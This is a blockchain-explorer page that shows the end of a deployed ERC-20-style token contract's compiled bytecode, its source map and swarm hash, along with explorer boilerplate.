5f60608486031215610d56575f80fd5b8335610d6181610d03565b92506020840135610d7181610d03565b929592945050506040919091013590565b5f60208284031215610d92575f80fd5b5035919050565b5f60208284031215610da9575f80fd5b8135610a1d81610d03565b5f8060408385031215610dc5575f80fd5b8235610dd081610d03565b915060208301358015158114610de4575f80fd5b809150509250929050565b5f8060408385031215610e00575f80fd5b8235610e0b81610d03565b91506020830135610de481610d03565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e6957815f1904821115610e4f57610e4f610e1b565b80851615610e5c57918102915b93841c9390800290610e34565b509250929050565b5f82610e7f5750600161039f565b81610e8b57505f61039f565b8160018114610ea15760028114610eab57610ec7565b600191505061039f565b60ff841115610ebc57610ebc610e1b565b50506001821b61039f565b5060208310610133831016604e8410600b8410161715610eea575081810a61039f565b610ef48383610e2f565b805f1904821115610f0757610f07610e1b565b029392505050565b5f610a1d60ff841683610e71565b808202811582820484141761039f5761039f610e1b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561039f5761039f610e1b565b5f60018201610f8d57610f8d610e1b565b5060010190565b8181038181111561039f5761039f610e1b565b5f82610fc157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610fea575f80fd5b8151610a1d81610d03565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156110455784516001600160a01b031683529383019391830191600101611020565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ac0291eb28fb8ffae99fff7bc54020eb4202bbc7f430ddf7401f6224f0e79fc64736f6c63430008180033
Deployed Bytecode Sourcemap
5159:5911:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7021:83;;;;;;;;;;-1:-1:-1;7091:5:0;;;;;;;;;;;;-1:-1:-1;;;7091:5:0;;;;7021:83;;;;;;;:::i;:::-;;;;;;;;7854:161;;;;;;;;;;-1:-1:-1;7854:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7854:161:0;1023:187:1;6110:41:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;6110:41:0;1215:177:1;7298:95:0;;;;;;;;;;;;;:::i;8023:313::-;;;;;;;;;;-1:-1:-1;8023:313:0;;;;;:::i;:::-;;:::i;7207:83::-;;;;;;;;;;-1:-1:-1;7207:83:0;;5939:1;2000:36:1;;1988:2;1973:18;7207:83:0;1858:184:1;10634:92:0;;;;;;;;;;-1:-1:-1;10634:92:0;;;;;:::i;:::-;;:::i;:::-;;10738:151;;;;;;;;;;-1:-1:-1;10738:151:0;;;;;:::i;:::-;;:::i;7401:119::-;;;;;;;;;;-1:-1:-1;7401:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7494:18:0;7467:7;7494:18;;;:9;:18;;;;;;;7401:119;4240:148;;;;;;;;;;;;;:::i;6008:40::-;;;;;;;;;;;;;;;;4026:79;;;;;;;;;;-1:-1:-1;4064:7:0;4091:6;4026:79;;-1:-1:-1;;;;;4091:6:0;;;2630:51:1;;2618:2;2603:18;4026:79:0;2484:203:1;7112:87:0;;;;;;;;;;-1:-1:-1;7184:7:0;;;;;;;;;;;;-1:-1:-1;;;7184:7:0;;;;7112:87;;7528:167;;;;;;;;;;-1:-1:-1;7528:167:0;;;;;:::i;:::-;;:::i;6055:48::-;;;;;;;;;;;;;;;;10901:129;;;;;;;;;;-1:-1:-1;10901:129:0;;;;;:::i;:::-;;:::i;10516:110::-;;;;;;;;;;;;;:::i;7703:143::-;;;;;;;;;;-1:-1:-1;7703:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7811:18:0;;;7784:7;7811:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7703:143;7854:161;7929:4;7946:39;1861:10;7969:7;7978:6;7946:8;:39::i;:::-;-1:-1:-1;8003:4:0;7854:161;;;;;:::o;7298:95::-;7351:7;5988:13;5939:1;5988:2;:13;:::i;:::-;5982:19;;:3;:19;:::i;:::-;7371:14;;7298:95;:::o;8023:313::-;8121:4;8138:36;8148:6;8156:9;8167:6;8138:9;:36::i;:::-;8185:121;8194:6;1861:10;8216:89;8254:6;8216:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8216:19:0;;;;;;:11;:19;;;;;;;;1861:10;8216:33;;;;;;;;;;:37;:89::i;:::-;8185:8;:121::i;:::-;-1:-1:-1;8324:4:0;8023:313;;;;;:::o;10634:92::-;4153:6;;-1:-1:-1;;;;;4153:6:0;1861:10;4153:22;4145:67;;;;-1:-1:-1;;;4145:67:0;;;;;;;:::i;:::-;;;;;;;;;10699:10:::1;:19:::0;10634:92::o;10738:151::-;4153:6;;-1:-1:-1;;;;;4153:6:0;1861:10;4153:22;4145:67;;;;-1:-1:-1;;;4145:67:0;;;;;;;:::i;:::-;10819:2:::1;10810:7;:11;;10802:20;;;::::0;::::1;;10831:12;:20:::0;;;10860:13:::1;:21:::0;10738:151::o;4240:148::-;4153:6;;-1:-1:-1;;;;;4153:6:0;1861:10;4153:22;4145:67;;;;-1:-1:-1;;;4145:67:0;;;;;;;:::i;:::-;4347:1:::1;4331:6:::0;;4310:40:::1;::::0;-1:-1:-1;;;;;4331:6:0;;::::1;::::0;4310:40:::1;::::0;4347:1;;4310:40:::1;4378:1;4361:19:::0;;-1:-1:-1;;;;;;4361:19:0::1;::::0;;4240:148::o;7528:167::-;7606:4;7623:42;1861:10;7647:9;7658:6;7623:9;:42::i;10901:129::-;4153:6;;-1:-1:-1;;;;;4153:6:0;1861:10;4153:22;4145:67;;;;-1:-1:-1;;;4145:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10986:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:36;;-1:-1:-1;;10986:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10901:129::o;10516:110::-;4153:6;;-1:-1:-1;;;;;4153:6:0;1861:10;4153:22;4145:67;;;;-1:-1:-1;;;4145:67:0;;;;;;;:::i;:::-;10571:11:::1;:18:::0;;-1:-1:-1;;;;10600:18:0;-1:-1:-1;;;10600:18:0;;;10516:110::o;8344:177::-;-1:-1:-1;;;;;8429:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8481:32;;1361:25:1;;;8481:32:0;;1334:18:1;8481:32:0;;;;;;;8344:177;;;:::o;8529:1383::-;-1:-1:-1;;;;;8644:24:0;;8609:17;8644:24;;;:18;:24;;;;;;;;8643:25;:52;;;;-1:-1:-1;;;;;;8673:22:0;;;;;;:18;:22;;;;;;;;8672:23;8643:52;8639:917;;;8724:76;8796:3;8724:67;8746:15;;8736:9;;:25;8735:55;;8776:14;;8735:55;;;8763:12;;8735:55;8724:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8823:11;;8712:88;;-1:-1:-1;;;;8823:11:0;;;;8815:20;;;;;;8862:13;;-1:-1:-1;;;;;8862:13:0;;;8854:21;;;;8850:163;;8930:10;;8920:6;8904:13;8914:2;-1:-1:-1;;;;;7494:18:0;7467:7;7494:18;;;:9;:18;;;;;;;7401:119;8904:13;:22;;;;:::i;:::-;:36;;8896:71;;;;-1:-1:-1;;;8896:71:0;;5881:2:1;8896:71:0;;;5863:21:1;5920:2;5900:18;;;5893:30;-1:-1:-1;;;5939:18:1;;;5932:52;6001:18;;8896:71:0;5679:346:1;8896:71:0;8986:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8850:163;9038:13;;-1:-1:-1;;;;;9038:13:0;;;9032:19;;;;9029:197;;9083:79;9158:3;9083:70;9105:16;;9095:9;;:26;9094:58;;9137:15;;9094:58;;;9123:13;;9083:6;;:10;:70::i;:79::-;9071:91;-1:-1:-1;5988:13:0;5939:1;5988:2;:13;:::i;:::-;5982:19;;:3;:19;:::i;:::-;9189:10;;:20;9181:29;;;;;;9291:4;9242:28;7494:18;;;:9;:18;;;;;;9317:6;;-1:-1:-1;;;9317:6:0;;;;9316:7;:30;;;;-1:-1:-1;9333:13:0;;-1:-1:-1;;;;;9327:19:0;;;9333:13;;9327:19;9316:30;:45;;;;-1:-1:-1;9350:11:0;;-1:-1:-1;;;9350:11:0;;;;9316:45;:89;;;;;9388:17;;9365:20;:40;9316:89;:123;;;;;9421:18;;9409:9;;:30;9316:123;9312:233;;;9460:69;9477:51;9481:6;9489:38;9493:20;9515:11;;9489:3;:38::i;:::-;9477:3;:51::i;:::-;9460:16;:69::i;:::-;8697:859;8639:917;9571:11;;9568:161;;9639:4;9621:24;;;;:9;:24;;;;;;:39;;9650:9;9621:28;:39::i;:::-;9614:4;9596:24;;;;:9;:24;;;;;;;:64;;;;9678:39;;-1:-1:-1;;;;;9678:39:0;;;;;;;9707:9;1361:25:1;;1349:2;1334:18;;1215:177;9678:39:0;;;;;;;;9568:161;-1:-1:-1;;;;;9755:15:0;;;;;;:9;:15;;;;;;:27;;9775:6;9755:19;:27::i;:::-;-1:-1:-1;;;;;9739:15:0;;;;;;:9;:15;;;;;:43;9807:40;9825:21;:6;9836:9;9825:10;:21::i;:::-;-1:-1:-1;;;;;9807:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9793:13:0;;;;;;;:9;:13;;;;;:54;;;;9863:41;;;9882:21;:6;9893:9;9882:10;:21::i;:::-;9863:41;;1361:25:1;;;1349:2;1334:18;9863:41:0;;;;;;;8598:1314;8529:1383;;;:::o;2918:190::-;3004:7;3040:12;3032:6;;;;3024:29;;;;-1:-1:-1;;;3024:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3064:9:0;3076:5;3080:1;3076;:5;:::i;:::-;3064:17;2918:190;-1:-1:-1;;;;;2918:190:0:o;3116:246::-;3174:7;3198:1;3203;3198:6;3194:47;;-1:-1:-1;3228:1:0;3221:8;;3194:47;3251:9;3263:5;3267:1;3263;:5;:::i;:::-;3251:17;-1:-1:-1;3296:1:0;3287:5;3291:1;3251:17;3287:5;:::i;:::-;:10;3279:56;;;;-1:-1:-1;;;3279:56:0;;6727:2:1;3279:56:0;;;6709:21:1;6766:2;6746:18;;;6739:30;6805:34;6785:18;;;6778:62;-1:-1:-1;;;6856:18:1;;;6849:31;6897:19;;3279:56:0;6525:397:1;3279:56:0;3353:1;3116:246;-1:-1:-1;;;3116:246:0:o;3370:132::-;3428:7;3455:39;3459:1;3462;3455:39;;;;;;;;;;;;;;;;;:3;:39::i;9922:98::-;9979:7;10006:1;10004;:3;10003:9;;10011:1;10003:9;;;-1:-1:-1;10009:1:0;9922:98;-1:-1:-1;9922:98:0:o;10028:480::-;6385:6;:13;;-1:-1:-1;;;;6385:13:0;-1:-1:-1;;;6385:13:0;;;10130:16:::1;::::0;;10144:1:::1;10130:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10130:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10130:16:0::1;10106:40;;10175:4;10157;10162:1;10157:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10157:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10201:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10201:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10157:7;;10201:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10191:4;10196:1;10191:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10191:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10266:15:::1;::::0;10234:62:::1;::::0;10251:4:::1;::::0;10266:15:::1;10284:11:::0;10234:8:::1;:62::i;:::-;10307:15;::::0;10449:10:::1;::::0;;10307:193:::1;::::0;-1:-1:-1;;;10307:193:0;;-1:-1:-1;;;;;10307:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;10388:11;;10307:15:::1;::::0;10430:4;;10449:10;::::1;::::0;10474:15:::1;::::0;10307:193:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6421:6:0;:14;;-1:-1:-1;;;;6421:14:0;;;-1:-1:-1;;;;10028:480:0:o;2587:179::-;2645:7;;2677:5;2681:1;2677;:5;:::i;:::-;2665:17;;2706:1;2701;:6;;2693:46;;;;-1:-1:-1;;;2693:46:0;;8642:2:1;2693:46:0;;;8624:21:1;8681:2;8661:18;;;8654:30;8720:29;8700:18;;;8693:57;8767:18;;2693:46:0;8440:351:1;2774:136:0;2832:7;2859:43;2863:1;2866;2859:43;;;;;;;;;;;;;;;;;:3;:43::i;3510:189::-;3596:7;3631:12;3624:5;3616:28;;;;-1:-1:-1;;;3616:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3655:9:0;3667:5;3671:1;3667;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:416::-;2757:6;2765;2818:2;2806:9;2797:7;2793:23;2789:32;2786:52;;;2834:1;2831;2824:12;2786:52;2873:9;2860:23;2892:31;2917:5;2892:31;:::i;:::-;2942:5;-1:-1:-1;2999:2:1;2984:18;;2971:32;3041:15;;3034:23;3022:36;;3012:64;;3072:1;3069;3062:12;3012:64;3095:7;3085:17;;;2692:416;;;;;:::o;3113:388::-;3181:6;3189;3242:2;3230:9;3221:7;3217:23;3213:32;3210:52;;;3258:1;3255;3248:12;3210:52;3297:9;3284:23;3316:31;3341:5;3316:31;:::i;:::-;3366:5;-1:-1:-1;3423:2:1;3408:18;;3395:32;3436:33;3395:32;3436:33;:::i;3506:127::-;3567:10;3562:3;3558:20;3555:1;3548:31;3598:4;3595:1;3588:15;3622:4;3619:1;3612:15;3638:416;3727:1;3764:5;3727:1;3778:270;3799:7;3789:8;3786:21;3778:270;;;3858:4;3854:1;3850:6;3846:17;3840:4;3837:27;3834:53;;;3867:18;;:::i;:::-;3917:7;3907:8;3903:22;3900:55;;;3937:16;;;;3900:55;4016:22;;;;3976:15;;;;3778:270;;;3782:3;3638:416;;;;;:::o;4059:806::-;4108:5;4138:8;4128:80;;-1:-1:-1;4179:1:1;4193:5;;4128:80;4227:4;4217:76;;-1:-1:-1;4264:1:1;4278:5;;4217:76;4309:4;4327:1;4322:59;;;;4395:1;4390:130;;;;4302:218;;4322:59;4352:1;4343:10;;4366:5;;;4390:130;4427:3;4417:8;4414:17;4411:43;;;4434:18;;:::i;:::-;-1:-1:-1;;4490:1:1;4476:16;;4505:5;;4302:218;;4604:2;4594:8;4591:16;4585:3;4579:4;4576:13;4572:36;4566:2;4556:8;4553:16;4548:2;4542:4;4539:12;4535:35;4532:77;4529:159;;;-1:-1:-1;4641:19:1;;;4673:5;;4529:159;4720:34;4745:8;4739:4;4720:34;:::i;:::-;4790:6;4786:1;4782:6;4778:19;4769:7;4766:32;4763:58;;;4801:18;;:::i;:::-;4839:20;;4059:806;-1:-1:-1;;;4059:806:1:o;4870:140::-;4928:5;4957:47;4998:4;4988:8;4984:19;4978:4;4957:47;:::i;5015:168::-;5088:9;;;5119;;5136:15;;;5130:22;;5116:37;5106:71;;5157:18;;:::i;5188:356::-;5390:2;5372:21;;;5409:18;;;5402:30;5468:34;5463:2;5448:18;;5441:62;5535:2;5520:18;;5188:356::o;5549:125::-;5614:9;;;5635:10;;;5632:36;;;5648:18;;:::i;6030:135::-;6069:3;6090:17;;;6087:43;;6110:18;;:::i;:::-;-1:-1:-1;6157:1:1;6146:13;;6030:135::o;6170:128::-;6237:9;;;6258:11;;;6255:37;;;6272:18;;:::i;6303:217::-;6343:1;6369;6359:132;;6413:10;6408:3;6404:20;6401:1;6394:31;6448:4;6445:1;6438:15;6476:4;6473:1;6466:15;6359:132;-1:-1:-1;6505:9:1;;6303:217::o;7059:127::-;7120:10;7115:3;7111:20;7108:1;7101:31;7151:4;7148:1;7141:15;7175:4;7172:1;7165:15;7191:251;7261:6;7314:2;7302:9;7293:7;7289:23;7285:32;7282:52;;;7330:1;7327;7320:12;7282:52;7362:9;7356:16;7381:31;7406:5;7381:31;:::i;7447:988::-;7717:4;7765:3;7754:9;7750:19;7796:6;7785:9;7778:25;7822:2;7860:6;7855:2;7844:9;7840:18;7833:34;7903:3;7898:2;7887:9;7883:18;7876:31;7927:6;7962;7956:13;7993:6;7985;7978:22;8031:3;8020:9;8016:19;8009:26;;8070:2;8062:6;8058:15;8044:29;;8091:1;8101:195;8115:6;8112:1;8109:13;8101:195;;;8180:13;;-1:-1:-1;;;;;8176:39:1;8164:52;;8271:15;;;;8236:12;;;;8212:1;8130:9;8101:195;;;-1:-1:-1;;;;;;;8352:32:1;;;;8347:2;8332:18;;8325:60;-1:-1:-1;;;8416:3:1;8401:19;8394:35;8313:3;7447:988;-1:-1:-1;;;7447:988:1:o
Swarm Source
ipfs://0ac0291eb28fb8ffae99fff7bc54020eb4202bbc7f430ddf7401f6224f0e79fc
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 30 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.